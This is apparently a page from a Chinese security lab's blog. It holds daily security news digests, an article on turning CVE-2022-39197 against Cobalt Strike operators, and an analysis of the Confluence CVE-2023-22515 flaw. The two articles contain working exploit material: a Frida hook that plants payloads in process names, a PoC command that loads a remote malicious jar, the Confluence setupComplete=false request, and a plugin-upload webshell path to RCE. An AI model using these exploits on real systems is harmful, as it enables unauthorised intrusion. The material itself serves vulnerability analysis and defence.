研究人员发现被上传到公共存储库的、编码的Kubernetes配置信息,并表示公开暴露的Kubernetes配置信息可能会使组织面临供应链攻击的风险。根据研究人员的说法,受影响的公司包括两家顶级区块链公司和其他一些500强公司。 4、海湾航空公司遭受网络攻击 https://www.reuters.com/business/aerospace-defense/gulf-air-exposed-data-breach-vital-operations-not-affected-2023-11-25 巴林新闻社(BNA)报道称,海湾航空公司表示其数据在11月24日遭到泄露,但其业务和关键系统未受影响。该公司表示,由于这次非法入侵,该公司的电子邮件系统和客户数据库的一些信息可能会受到损害,并已部署紧急计划以遏制这次入侵事件。 5、伊朗黑客劫持美国自来水公司的工业控制系统 https://www.securityweek.com/hackers-hijack-industrial-control-system-at-us-water-utility/ 宾夕法尼亚州阿利基帕市水务局证实,黑客周末控制了与升压站相关的系统,但表示供水不存在风险。 6、美英网络安全机构发布人工智能发展指南 https://www.ncsc.gov.uk/files/Guidelines-for-secure-AI-system-development.pdf 美国和英国网络安全机构 CISA 和 NCSC 为利用人工智能的系统开发人员发布了以安全为重点的指南。该文件名为《安全人工智能系统开发指南》,促进实施安全设计原则以及透明度和问责制,并优先考虑客户对安全结果的所有权。两家机构指出,这些指南适用于所有类型的人工智能/机器学习系统,无论是从头开始构建还是在第三方资源之上构建,以解决与人工智能、网络安全和关键基础设施相关的问题。该文件与20多个国内外网络安全组织合作制定,分为四个部分,涵盖人工智 7、乌克兰情报部门黑客入侵俄罗斯联邦航空运输局 Rosaviatsia https://securityaffairs.com/154839/cyber-warfare-2/ukraine-hacked-russia-rosaviatsia.html 乌克兰情报部门宣布,他们已经入侵了俄罗斯联邦航空运输局“Rosaviatsia”。这次攻击是复杂的特殊网络行动的结果。乌克兰国防情报局表示,由于在网络空间进行了一次成功的复杂特种行动, 俄罗斯交通部下属机构——联邦航空运输局(Rosaviatsia)的大量机密文件现已被获取。 8、KyberSwap 称 5470 万美元的加密货币在攻击中被盗 https://therecord.media/kyberswap-crypto-platform-54-million-hack 加密货币平台 KyberSwap 周五表示,在本周早些时候宣布的网络攻击中,价值约 5400 万美元的加密货币被盗。 9、通用电气疑被黑客入侵开发环境,泄露美国军事机密 https://www.freebuf.com/articles/384955.html 美国通用电气公司正在调查一名攻击者在网络攻击中侵入公司的开发环境,并泄露所谓被盗数据的指控。通用电气(GE)是一家业务涵盖电力、可再生能源及航空工业的美国跨国企业。本月早些时候,自称为IntelBroker的攻击者在一个黑客论坛上,试图以500美元的价格出售进入通用电气“开发和软件管道”的通道。在未能出售所谓的访问权限之后,该威胁行为者再次发布消息称,他们现在出售网络访问权限和被盗数据。该攻击者在黑客论坛上发帖称,“数据包括大量与DARPA(美国国防高级研究计划局)相关的军事信息、文件、SQL文件、文档 10、国内某企业2000多万条地图数据遭数据公司盗取 https://www.secrss.com/articles/60959 近期,在市局网安总队的指导下,普陀警方在纵深推进净网2023、砺剑2023等专项工作中,破获一起非法获取计算机信息系统数据案。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月24日
1、攻击者通过虚假的浏览器更新向Mac用户传播Atomic窃密木马 https://www.malwarebytes.com/blog/threat-intelligence/2023/11/atomic-stealer-distributed-to-mac-users-via-fake-browser-updates Atomic窃密木马,又被称为AMOS,是针对macOS的一种窃密木马。研究人员近期发现,AMOS现在通过一个名为ClearFake的虚假浏览器更新攻击链针对Mac用户进行传播。ClearFake是一种利用受损网站分发虚假浏览器更新的新型恶意软件攻击活动,目前攻击者正在通过模仿称Safari、Chrome更新的虚假网站传播AMOS。AMOS窃 2、医疗服务提供商Welltok泄露850万患者的数据 https://www.bleepingcomputer.com/news/security/welltok-data-breach-exposes-data-of-85-million-us-patients/ Welltok称,在一次数据窃取攻击中,该公司使用的文件传输程序被黑客攻击,导致近850万名美国患者的个人数据曝光。Welltok称其MOVEit Transfer服务器于2023年7月26日遭到侵犯。在此次事件中,患者的个人数据被曝光,包括全名、电子邮件地址、物理地址和电话号码。对于一些人,还包括社会安全号码(SSN)、Medicare/Medicaid ID号码和某些健康保险信 3、开源3D设计软件Blender的服务器遭受DDoS攻击 https://www.bleepingcomputer.com/news/security/open-source-blender-project-battling-ddos-attacks-since-saturday/ Blender项目团队表示,自11月18日以来,blender.org服务器一直遭受DDoS攻击,攻击者通过向服务器发送过载的请求来使其宕机。Blender的首席运营官分享的统计数据显示,攻击仍在进行中,已有超过2.4亿个虚假请求指向该项目的服务器。目前尚不清楚攻击者的意图以及动机。 4、汽车零件巨头 AutoZone 披露 MOVEit 遭黑客攻击后数据泄露 https://securityaffairs.com/154633/data-breach/autozone-data-breach-after-moveit-hack.html AutoZone 透露,网络犯罪分子利用 MOVEit Transfer 托管文件传输应用程序中的漏洞窃取了包括社会安全号码在内的信息。然而,该公司尚不清楚所暴露的信息被用于欺诈的情况。 5、与朝鲜有关的 APT 组织利用CyberLink发起供应链攻击 https://securityaffairs.com/154652/apt/diamond-sleet-supply-chain-attack-cyberlink.html 微软威胁情报研究人员发现,与朝鲜有关的 APT Diamond Sleet (ZINC) 发起的供应链攻击涉及 CyberLink 软件的木马变体。攻击者使用了合法讯连科技应用程序安装程序的恶意软件版本,该安装程序使用颁发给讯连科技公司的有效证书进行签名。该安装程序托管在软件公司讯连科技拥有的合法更新基础设施上,并包括限制执行时间窗口的检查并逃避安全产品的检测。 6、Lumma 恶意软件可以恢复过期的 Google 身份验证 Cookie https://www.bleepingcomputer.com/news/security/lumma-malware-can-allegedly-restore-expired-google-auth-cookies/ Lumma 信息窃取恶意软件(又名“LummaC2”)正在推广一项新功能,据称该功能允许网络犯罪分子恢复过期的 Google cookie,该 cookie 可用于劫持 Google 帐户。 7、Microsoft 推出 Defender 赏金计划,最高奖励20,000 美元 https://www.bleepingcomputer.com/news/microsoft/microsoft-launches-defender-bounty-program-with-20-000-rewards/ Microsoft推出了一项针对Microsoft Defender安全平台的新漏洞赏金计划,奖励在500美元至20,000美元之间。 8、黑客利用Apache ActiveMQ漏洞部署Linux Rootkit https://thehackernews.com/2023/11/kinsing-hackers-exploit-apache-activemq.html Kinsing 威胁行为者正在积极利用易受攻击的 Apache ActiveMQ 服务器中的关键安全漏洞,用加密货币矿工和 rootkit 感染 Linux 系统。 9、MOVEit黑客攻击已经波及2600多家企业 https://www.secrss.com/articles/61023 根据新西兰网络安全公司Emsisoft的最新报告,今年5月以来,文件传输服务MOVEit遭黑客攻击后波及了约2620家企业用户和7720万人。 10、I Doc View在线文档预览系统存在代码执行漏洞 https://www.secrss.com/articles/60990 近日,奇安信CERT监测到I Doc View在线文档预览系统代码执行漏洞(QVD-2023-45061),远程未经身份验证的攻击者可通过构造特殊请求,目标应用将下载恶意文件,成功利用此漏洞可能在目标服务器上执行任意代码。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Cobalt Strike之反向上线操作
前言 Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。 实现原理 攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例 Kernel32.dll: CreateFileW ReadFile WriteFile FindFirstFileW CreateProcessW GetProcAddress LoadLibraryW VirtualAlloc VirtualProtect Advapi32.dll: RegOpenKeyExW RegQueryValueExW RegSetValueExW GetUserNameA User32.dll: MessageBoxW SetWindowTextW GetWindowTextW Gdi32.dll: TextOutW CreateFontIndirectW Shell32.dll: ShellExecuteW Ws2_32.dll: send recv 在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。 例如Kernel32.dll:中的Process32Next # Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表 var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next") # 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑 Interceptor.attach(pProcess32Next, {   onEnter: function(args) {       this.pPROCESSENTRY32 = args[1];       if(Process.arch == "ia32"){           this.exeOffset = 36;       }else{           this.exeOffset = 44;       }       this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);   },   onLeave: function(retval) {       if(this.szExeFile.readAnsiString() == "target") {           send("[!] Found beacon, injecting payload");           this.szExeFile.writeAnsiString(payload);       }   } }) 函数内整体逻辑拆开来分析下 处理函数进入 onEnter onEnter: function(args) {   this.pPROCESSENTRY32 = args[1];   if(Process.arch == "ia32"){       this.exeOffset = 36;   }else{       this.exeOffset = 44;   }   this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset); }, 在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名 处理函数离开 onLeave onLeave: function(retval) {   if(this.szExeFile.readAnsiString() == "target") {       send("[!] Found beacon, injecting payload");       this.szExeFile.writeAnsiString(payload);   } } 在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload 简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE 反制复现 环境准备: 注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响) 开源POC和EXP:https://github.com/its-arun/CVE-2022-39197 1、编辑恶意文件内容 修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS 2、编译文件 使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下 3、将生成的恶意jar文件和svg文件放在同一路径下 将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下 4、蓝队在serve路径下开启一个web服务 5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址 6、执行POC脚本 python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg 运行后,红队的cs客户端上可以看到此时木马已经成功上线 当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar 成功上线蓝队CS,从而达到反制RCE 思考 除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样) 最后 此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。
网络安全日报 2023年11月23日
1、8Base勒索团伙使用SmokeLoader传播Phobos勒索软件 https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/ 研究人员最近发现由8Base团伙发起的攻击活动有所增加,该团伙使用SmokeLoader木马传播Phobos勒索软件。SmokeLoader采用了多层解密的方式释放最终载荷文件。在初始阶段,SmokeLoader采用大量随机API调用来混淆执行流程,然后在内存中执行Shellcode并释放执行最终的载荷。Phobos是一种典型的勒索软件,能够在受感染的系统中建立持久性、执行快速加密并删除备份。2019年以后出现的Phobos勒索软件使用自定义的AES-25 2、研究人员发现针对印度用户的恶意安卓应用程序 https://www.microsoft.com/en-us/security/blog/2023/11/20/social-engineering-attacks-lure-indian-users-to-install-android-banking-trojans/ 研究人员近期发现针对印度用户的新一轮网络钓鱼攻击活动。攻击者利用WhatsApp和Telegram等社交媒体平台发送消息,试图通过冒充合法机构,如银行、政府服务和公用事业,诱使用户在其移动设备上安装恶意应用。一旦安装了这些恶意的应用程序,它们就会要求受害者输入他们的银行账户信息、借记卡PIN、PAN卡号码和在线银行凭据, 3、汽车配件零售商AutoZone证实其数据泄露 https://www.bleepingcomputer.com/news/security/auto-parts-giant-autozone-warns-of-moveit-data-breach/ AutoZone通知美国当局,称其在2023年5月28日的网络攻击中遭遇了数据泄露事件,导致18.5万人的数据遭到泄露。AutoZone发现未经授权的第三方利用与MOVEit相关的漏洞,从支持MOVEit应用程序的AutoZone系统中窃取了某些数据。Clop勒索团伙今年早些时候对AutoZone发动了一次攻击,并于2023年7月7日发布了他们声称从该公司窃取的数据。该团伙泄露的数据大约有1 4、法兰西岛公共卫生服务机构(SIAAP)遭受网络攻击 https://therecord.media/paris-wastewater-agency-hit-cyberattack 法兰西岛公共卫生服务机构(SIAAP)遭受网络攻击,该机构表示,在发现网络攻击后已向司法警察和法国国家信息和自由委员会(CNIL)提出了投诉。IT团队已切断了所有外部连接,以防止攻击蔓延。目前尚未有黑客组织声称发动此次攻击,但对于以持有敏感客户信息的关键服务机构为目标的勒索软件团伙而言,水务部门一直是其主要目标。 5、基于Mirai的新僵尸网络InfectedSlurs利用零日漏洞破坏NVR和路由器 https://securityaffairs.com/154607/malware/infectedslurs-botnet.html Akamai 发现了一种新的基于 Mirai 的 DDoS 僵尸网络,名为 InfectedSlurs,它积极利用两个零日漏洞来感染路由器和录像机 (NVR) 设备。 6、企业软件提供商 TmaxSoft 泄露 2TB 数据 https://securityaffairs.com/154567/data-breach/tmaxsoft-leaks-2tb-of-data.html TmaxSoft 是一家开发和销售企业软件的韩国 IT 公司,已泄露超过 5000 万条敏感记录。2TB 容量的 Kibana 仪表板已经曝光两年多了。Cybernews 研究人员早在 2023 年 1 月就发现了它,并指出这组数据于 2021 年 6 月首次发现。 7、CITRIX 提供了其他措施来解决 CITRIX BLEED 问题 https://securityaffairs.com/154546/hacking/citrix-bleed-attacks.html Citrix 正在为针对CVE-2023-4966 “ Citrix Bleed ”漏洞修补 NetScaler 设备的管理员提供额外措施。该公司敦促管理员删除所有活动用户会话并终止所有持久会话。 8、指纹传感器漏洞可让攻击者绕过 Windows Hello 登录 https://thehackernews.com/2023/11/new-flaws-in-fingerprint-sensors-let.html 一项新的研究发现了多个漏洞,这些漏洞可被用来绕过Dell Inspiron 15、Lenovo ThinkPad T14 和 Microsoft Surface Pro X 笔记本电脑上的Windows Hello 身份验证。这些缺陷是由硬件和软件产品安全和攻击性研究公司 Blackwing Intelligence 的研究人员发现的,他们发现了嵌入到设备中的 Goodix、Synaptics 和 ELAN 指纹传感器的弱点。 9、NetSupport RAT 感染呈上升趋势 - 针对政府和商业部门 https://thehackernews.com/2023/11/netsupport-rat-infections-on-rise.html 威胁行为者使用名为 NetSupport RAT 的远程访问木马瞄准教育、政府和商业服务部门。 10、中国台湾大江生医集团236.3GB数据在暗网泄露 https://www.secrss.com/articles/61002 据知道创宇暗网雷达监测,大江生医集团数据泄露,文件大小 236.3 GB,包含 104,001 个文件。大江生医股份有限公司是中国台湾地区的企业,全球500强上市公司,成立于1980年,是一家生物整合设计公司,集团下设有四大生产中心,分别坐落在中国台湾、中国上海,以及美国、日本。目前有大江生医、上海百岳特、大江生活、光腾新药、和康生技、沛富生技等多家子公司。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Confluence 未授权漏洞分析(CVE-2023-22515)
0x01 漏洞描述 Confluence 是由 Atlassian 开发的企业级协作软件。2023年10月,Atlassian 官方披露 CVE-2023-22515 Atlassian Confluence Data Center & Server 权限提升漏洞。攻击者可构造恶意请求创建管理员,从而登录系统,造成敏感信息泄漏等。 如果 Confluence 站点托管在 Atlassian Cloud(域名为:atlassian.net),则不受此漏洞影响。 0x02 影响版本 8.0.0 - - 8.0.4 8.1.0 - - 8.1.4 8.2.0 - - 8.2.3 8.3.0 - - 8.3.2 8.4.0 - - 8.4.2 8.5.0 - - 8.5.1 0x03 环境搭建 安装包 https://www.atlassian.com/software/confluence/download-archives jar 包: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip   https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip 大致的安装可以看 https://cn-sec.com/archives/2177640.html 其中有一步数据库的安装会存在一些问题,首先是新建数据库的时候,对编码有要求 CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin; 随后是连接 jdbc:mysql://localhost/confluence?sessionVariables=transaction_isolation='READ-COMMITTED' 在配置数据库时需要指定 READ-COMMITTED 下一步是做调试准备,这里的调试需要找到 Service 随后在 cmd 里面运行这一个行命令,就会跳出如图所示的框框 tomcat9w.exe //ES//Confluence151123100612 随后添加 JAVA_OPTS,进行动调 0x04 漏洞分析 根据官方的公告,修复建议是给 /setup 打头的接口做鉴权校验 <security-constraint>      <web-resource-collection>        <url-pattern>/setup/*</url-pattern> <http-method-omission>*</http-method-omission> </web-resource-collection>      <auth-constraint /> </security-constraint> 由于 Confluence 这里的框架是基于 S2 的,S2 的大致流程如 su18 师傅的图所示 也就是说我们现在需要去找一下 /setup/* 接口是怎么被处理的,直接分析是比较难的,所以先 diff 一下代码。 首先 struts2.xml 里面 修复版本新增了 struts.override.acceptedPatterns 修复版本删除了 server-info action 接着是 BootstapStatusProviderImpl 类里面增加了部分内容,对属性 setupPersister 和 applicationConfig 做了限制 这里有点没看懂修了什么,所以我先动调观察具体接口是怎么处理的,根据 Struts2 的特性,去到 struts.xml 里面找对应的 Interceptor,不难找到具体处理的拦截器是 SetupCheckInterceptor 开始动调,看一下 /setup/setupadministrator.action 接口的逻辑是怎么处理的。 中间走到 com.atlassian.config.ApplicationConfig#isSetupComplete 时,在新版本的 fix 里面是增加了这一段的 ReadOnlyApplicationConfig 配置的 所以这里的漏洞利用思路大概就是先动态修改 setupPersister 或 applicationConfig,在触发了这一点之后,能够下一步访问 /setup/setupadministrator.action,重新配置管理员密码。 这里具体的实现很有意思,su18 师傅的文章说的很明白,我就直接拿过来用了 https://su18.org/post/struts2-1/OGNL 中的根对象即为 ValueStack(值栈),这个对象贯穿整个 Action 的生命周期(每个 Action 类的对象实例会拥有一个 ValueStack 对象)。当Struts 2接收到一个 .action 的请求后,会先建立Action 类的对象实例,但并不会调用 Action 方法,而是先将 Action 类的相应属性放到 ValueStack 的实现类 OgnlValueStack 对象 root 对象的顶层节点( ValueStack 对象相当于一个栈)。在处理完上述工作后,Struts2 就会调用拦截器链中的 我们需要找一个 OGNL 的点, 并且这个点能够以某种方式去调用某个类的 getter / setter, 以此来配置 applicationConfig 的 setupComplete 字段 于是去 diff 跟 Struts2 有关的依赖, 即 com.atlassian.struts2_struts-support-1.1.0.jar 和 com.atlassian.struts2_struts-support-1.2.0.jar 发现修改的类是 SafeParametersInterceptor,这个类会处理所有的输入,所以 server-info.action 这个请求也会经过它 同时,Confluence 使用了 XWork 框架,它允许通过 HTTP 请求来设置 Java 对象的参数:https://developer.atlassian.com/server/confluence/xwork-plugin-complex-parameters-and-security/ XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName("Charles") by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to 这就允许我们在输入时候传参类似于 ?test=a.b.c,动调一下 http://192.168.80.137:8090/server-info.action?a.b.c 这里会先做过滤,跟进 this.filterSafeParameters() 方法,该方法会对传入的参数进行判断,如果包含关键字或者满足正则匹配则返回 false BLOCKED_PARAMETER_NAMES: actionErrors、actionMessages   EXCLUDE_CLASS_PATTERN: .*class[^a-z0-9_].*   SAFE_PARAMETER_NAME_PATTERN: \w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*   MAP_PARAMETER_PATTERN: .*\['[a-zA-Z0-9_]+'\] 如果不在黑名单内,最后会调用 isSafeComplexParameterName() 方法,这个方法会检查传入的参数是否调用了当前 action 的某个 getter / setter,如果调用了,则判断里面是否有 ParameterSafe 注解。 如果没有实现 @ParameterSafe 注解,那么 isSafeMethod 就会返回 false 这么一看,漏洞成立需要绕过黑名单验证,并且满足 @ParameterSafe 注解,利用条件十分苛刻。继续往下走,回到 com.atlassian.xwork.interceptors.SafeParametersInterceptor#doIntercept,跟进 super.doIntercept() 方法。能够看到这里是跟进到了 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法,它会重新处理一遍参数,这就导致上面的黑名单完全没生效。 跟进 setParameters() 方法后其实就是 S2 处理 OGNL 语句的那一套,参考 https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90 总的来说, 因为 SafeParametersInterceptor.doIntercept() 方法的一些逻辑问题, 导致这个类自身对传入参数的过滤并没有生效, 我们最终还是可以通过 a.b.c=e 的形式去调用当前 action 的 getter / setter, 并不需要关心方法本身或者它的 returnType 是否使用了 @ParameterSafe 注解 到这里思路就很清晰了,我们只需要构造 OGNL 即可,调用某个 Action 里的 setter,让 isSetupComplete=false 即可 以 ServerInfoAction 为例, 它继承自 ConfluenceActionSupport 这里的 getBootstrapStatusProvider() 方法调用了 BootstrapStatusProviderImpl.getInstance(),接下来就可以去 BootstrapStatusProviderImpl 里面寻找调用链,可惜的是这里的 setSetupComplete() 已经用不了了,只能找另外的 最终找到的是 getApplicationConfig() 方法,而在 ApplicationConfig 类里面存在 setSetupComplete() 方法可用 因为 Confluence 的所有 Action 都继承自 ConfluenceActionSupport, 所以理论上只要访问任意一个使用了 SafeParameterInterceptor 的路由, 无论是 GET 还是 POST 方法都能够利用成功 于是最后的 PoC 应该是 http://192.168.80.137:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false 在进行覆盖 setupComplete=false 之后重新注册管理员 http://192.168.80.137:8090/setup/setupadministrator-start.action 0x05 未授权之后的 RCE X1r0z 师傅已经介绍了一种 RCE 的方法,但是利用条件有限,需要 web目录可写并且高权限用户 其实有一种更简单的方法,看到:https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html 可以通过上传插件实现 RCE,利用工具github上已经存在了:https://github.com/AIex-3/confluence-hack/ http://192.168.80.137:8090/plugins/servlet/upm 上传 plugin_shellplug.jar,访问 /plugins/servlet/com.jsos.shell/ShellServlet
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页